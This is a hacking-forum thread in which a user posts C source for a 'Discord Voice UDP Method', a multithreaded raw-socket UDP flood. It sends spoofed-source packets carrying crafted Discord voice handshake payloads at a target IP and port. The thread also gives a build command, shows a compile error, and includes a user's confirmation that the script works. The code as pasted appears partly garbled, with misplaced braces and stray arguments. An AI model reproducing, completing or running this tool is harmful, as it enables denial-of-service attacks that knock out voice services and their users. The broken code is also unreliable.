

Forum:[Hack Forums](#)

Thread: [SOURCE | Discord Voice UDP Method - FREE](#)

ffocat - June 27, 2026, 9:18 pm

hi, i recently started a thread on the forum asking about the Discord voice protocol, and since then i've developed a Discord UDP flood script for you. enjoy!! * only spoof machine

Source dcnnull.c :

```
Code /* v134.23 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <netinet/in.h>
#include <time.h>

#ifndef SYS_sendmmsg
# define SYS_sendmmsg 307
#endif

#define BATCH 5000
#define BUFSZ 5000
#define NTURK 1

extern const uint32_t turkeyclasses[NTURK];

/* handshake and ssrc udp payload dont change!!! */
static const uint8_t g_p1[74] = {0x00,0x01,0x00,0x46,0x00,0x1c,0x58,0x5c};
static const uint8_t g_p2[8] = {0x13,0x37,0xca,0xfe,0x01,0x00,0x00,0x00};

typedef struct { uint8_t ip[4]; uint16_t port; } targ_t;

static inline uint64_t xs64(uint64_t *s) {
    *s ^= *s << 13;
    *s ^= *s >> 7;
    *s ^= *s << 17;
    return *s;
}

static inline void w16(void *b, uint16_t v) { memcpy(b, &v, 2); }
static inline void w32(void *b, uint32_t v) { memcpy(b, &v, 4); }
```

```

static uint32_t wsum(const uint8_t *b, int n) {
    uint32_t s = 0;
    for (int i = 0; i + 1 < n; i += 2) {
        uint16_t w; memcpy(&w, b + i, 2);
        s += w;
    }
    return s;
}

static void *run(void *vp) {
    targ_t *a = (targ_t *)vp;

    int fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (fd < 0) { perror("socket"); exit(1); }
    { int v = 1 << 26; setsockopt(fd, SOL_SOCKET, SO_SNDBUF, &v, sizeof v); }
    { int v = 6; setsockopt(fd, SOL_SOCKET, SO_PRIORITY, &v, sizeof v); }
    { int v = 1;
        if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &v, sizeof v) < 0) {
            fputs("Error: setsockopt() - Cannot set HDRINCL!\n", stderr);
            exit(1);
        }
    }

    uint32_t dipn; memcpy(&dipn, a->ip, 4);
    uint16_t dw1, dw2;
    memcpy(&dw1, a->ip, 2);
    memcpy(&dw2, a->ip + 2, 2);
    uint32_t dph = (dipn >> 16) + (dipn & 0xffff);

    uint64_t icb = (uint64_t)0x0045 + 0x0066 + 0x116a + dw1 + dw2;
    uint64_t ics = (uint64_t)0x0045 + 0x0024 + 0x116a + dw1 + dw2;

    uint16_t fph = __builtin_bswap16(a->port);
    uint16_t b52 = __builtin_bswap16(0x52);
    uint16_t b10 = __builtin_bswap16(0x10);
    uint16_t b11 = __builtin_bswap16(0x11);

    uint32_t udb = (uint32_t)fph + b52 + wsum(g_p1, 74) + dph + b11 + b52;
    uint32_t uds = (uint32_t)fph + b10 + wsum(g_p2, 8) + dph + b11 + b10;

    struct sockaddr_in sa;
    memset(&sa, 0, sizeof sa);
    sa.sin_family = AF_INET;
    sa.sin_port = __builtin_bswap16(a->port);
    memcpy(&sa.sin_addr, a->ip, 4);

    uint8_t (*bufs)[BUFSZ] = (uint8_t (*)[BUFSZ])calloc(BATCH, BUFSZ);
    struct iovec *iovs = (struct iovec *)calloc(BATCH, sizeof *iovs);
    struct mmsghdr *msgs = (struct mmsghdr *)calloc(BATCH, sizeof *msgs);
    if (!bufs || !iovs || !msgs) { perror("calloc"); exit(1); }

    for (int i = 0; i < BATCH; i++) {
        uint8_t *p = bufs[i];

```

```

p[0] = 0x45;
p[8] = 0x6a;
p[9] = 0x11;
w16(p + 0x16, fph);
memcpy(p + 16, a->ip, 4);

if (i % 4 < 2) {
    memcpy(p + 0x1c, g_p1, 74);
    w16(p + 0x18, b52); p[2] = 0x66;
    iovs[i].iov_len = 0x66;
} else {
    memcpy(p + 0x1c, g_p2, 8);
    w16(p + 0x18, b10); p[2] = 0x24;
    iovs[i].iov_len = 0x24;
}

iovs[i].iov_base = p;
msgs[i].msg_hdr.msg_iov = &iovs[i];
msgs[i].msg_hdr.msg_iovlen = 1;
msgs[i].msg_hdr.msg_name = &sa;
msgs[i].msg_hdr.msg_namelen = sizeof sa;
}

struct timespec ts;
clock_gettime(CLOCK_MONOTONIC, &ts);
uint64_t rng = (uint64_t)ts.tv_nsec
    ^ ((uint64_t)ts.tv_sec << 32)
    ^ (uint64_t)(uintptr_t)vp;
if (!rng) rng = 0xdeadbeefcafe1337ULL;

for (;;) {
    for (int b = 0; b < BATCH; b += 4) {

        uint64_t r = xs64(&rng);
        uint32_t rr = (uint32_t)r & 0x7fffffffu;
        uint32_t oc = ((uint32_t)(r >> 32) & 0xffff) % 0xff;
        uint32_t ti = (uint32_t)(r >> 48) % NTURK;

        uint32_t si = __builtin_bswap32(oc + turkeyclasses[ti]);

        uint64_t sw1 = si & 0xffff;
        uint64_t sw2 = si >> 16;
        uint32_t sph = (uint32_t)(sw1 + sw2);

        uint16_t sp0 = __builtin_bswap16((uint16_t)(rr % 0x7530) + 0x7530);
        uint16_t sp1 = __builtin_bswap16((uint16_t)(rr % 0x7530) + 0x7531);

        uint64_t t;
        t = icb + sw1 + sw2; t = (t >> 16) + (t & 0xffff);
        uint16_t ic_b = ~(uint16_t)((uint32_t)(t & 0xffff) + (uint32_t)(t >> 16));

        t = ics + sw1 + sw2; t = (t >> 16) + (t & 0xffff);
        uint16_t ic_s = ~(uint16_t)((uint32_t)(t & 0xffff) + (uint32_t)(t >> 16));
    }
}

```

```

uint32_t u;
u = udb + (uint32_t)sp0 + sph; while (u >> 16) u = (u & 0xffff) + (u >> 16);
uint16_t uc0 = ~(uint16_t)u;

u = udb + (uint32_t)sp1 + sph; while (u >> 16) u = (u & 0xffff) + (u >> 16);
uint16_t uc1 = ~(uint16_t)u;

u = uds + (uint32_t)sp0 + sph; while (u >> 16) u = (u & 0xffff) + (u >> 16);
uint16_t ucs = ~(uint16_t)u;

uint8_t *q;
q = bufs[b]; w32(q+0x0c,si); w16(q+0x14,sp0); w16(q+0x0a,ic_b); w16(q+0x1a,uc0);
q = bufs[b+1]; w32(q+0x0c,si); w16(q+0x14,sp1); w16(q+0x0a,ic_b); w16(q+0x1a,uc1);
q = bufs[b+2]; w32(q+0x0c,si); w16(q+0x14,sp0); w16(q+0x0a,ic_s); w16(q+0x1a,ucs);
q = bufs[b+3]; w32(q+0x0c,si); w16(q+0x14,sp0); w16(q+0x0a,ic_s); w16(q+0x1a,ucs);
}

syscall(SYS_sendmmsg, fd, msgs, BATCH, 0);
}
return NULL;
}

int main(int argc, char **argv) {

    if (argc != 5) {
        printf("Discord Voice UDP Method - Ivan Kozlovsky | this tool was created for free on  

https://hackforums.net; if you purchased it in exchange for money or something valuable, you have  

        been scammed. \n");
        printf("tut: <ip> <port> <thread> <time>\n", argv[0]);
        return -1;
    }

    int port = atoi(argv[2]);
    int threads = atoi(argv[3]);
    int dur = atoi(argv[4]);

    targ_t a;
    memset(&a, 0, sizeof a);
    a.port = (uint16_t)port;
    int x, y, z, w;
    sscanf(argv[1], "%d.%d.%d.%d", &x, &y, &z, &w);
    a.ip[0]=(uint8_t)x; a.ip[1]=(uint8_t)y;
    a.ip[2]=(uint8_t)z; a.ip[3]=(uint8_t)w;

    printf("socket started wait.\n");
    printf("oh started!\n", argv[1], port);

    pthread_t *tids = (pthread_t *)malloc((size_t)threads * sizeof *tids);
    for (int i = 0; i < threads; i++)
        pthread_create(&tids[i], NULL, run, &a);

    sleep((unsigned)dur);

```

```
return 0;
}
```

Source data.c :

```
Code #include <stdint.h>
const uint32_t turkeyclasses[1] = {
    0x1fdf0100
};
```

```
const uint32_t nturk = 1u;
```

Video:

[Video: <https://www.youtube.com/watch?v=h2MKw11CwSQ>]

contact@ivankozlovsky.com

J?son - June 28, 2026, 12:44 pm

```
root@merc:/tmp# gcc 1.c -o 1 -pthread -w
/usr/bin/ld: /tmp/ccX0SVY2.o: warning: relocation against `turkeyclasses' in read-only section `.text'
/usr/bin/ld: /tmp/ccX0SVY2.o: in function `run':
1.c:(.text+0x6d4): undefined reference to `turkeyclasses'
/usr/bin/ld: warning: creating DT_TEXTREL in a PIE
collect2: error: ld returned 1 exit status
root@merc:/tmp#
```

did you even try to compile this shite script before commenting?

ffocat - June 28, 2026, 1:05 pm

```
(Jun 28, 2026 12:44 PM)J?son Wrote: \[CITE\] root@merc:/tmp# gcc 1.c -o 1 -pthread -w
/usr/bin/ld: /tmp/ccX0SVY2.o: warning: relocation against `turkeyclasses' in read-only section `.text'
/usr/bin/ld: /tmp/ccX0SVY2.o: in function `run':
1.c:(.text+0x6d4): undefined reference to `turkeyclasses'
/usr/bin/ld: warning: creating DT_TEXTREL in a PIE
collect2: error: ld returned 1 exit status
root@merc:/tmp#
```

did you even try to compile this shite script before commenting?

stop trying to make people pay for your stupidity and ignorance, you little rat.

```
gcc -O2 -o dcnnull dcnnull.c data.c -lpthread
```

J?son - June 28, 2026, 1:10 pm

script works fine

vouch

ffocat - June 28, 2026, 1:15 pm

```
(Jun 28, 2026 01:10 PM)J?son Wrote: \[CITE\] script works fine
```

vouch

thx